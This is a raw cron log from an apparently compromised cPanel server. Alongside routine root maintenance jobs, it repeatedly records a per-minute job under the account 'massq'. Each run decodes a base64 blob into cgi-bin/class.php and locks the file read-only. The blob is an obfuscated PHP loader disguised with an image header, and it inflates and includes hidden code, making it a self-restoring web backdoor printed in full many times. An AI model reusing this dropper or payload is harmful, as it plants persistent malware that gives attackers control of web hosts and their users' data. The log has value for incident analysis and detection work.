Nov 12 00:23:01 server CROND[14447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:24:01 server CROND[15260]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:25:01 server CROND[16080]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:25:01 server CROND[16083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:25:01 server CROND[16082]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:25:01 server CROND[16081]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:26:01 server CROND[16952]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:27:01 server CROND[17930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:27:01 server CROND[17931]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 00:28:01 server CROND[18752]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:29:01 server CROND[19577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:30:01 server CROND[20395]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 12 00:30:01 server CROND[20396]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:30:01 server CROND[20399]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 00:30:01 server CROND[20404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:30:01 server CROND[20401]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:31:01 server CROND[21329]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:32:01 server CROND[22163]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:33:01 server CROND[22977]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:34:01 server CROND[23805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:35:01 server CROND[24646]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:35:01 server CROND[24648]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 00:35:01 server CROND[24653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:35:01 server CROND[24654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:35:01 server CROND[24655]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
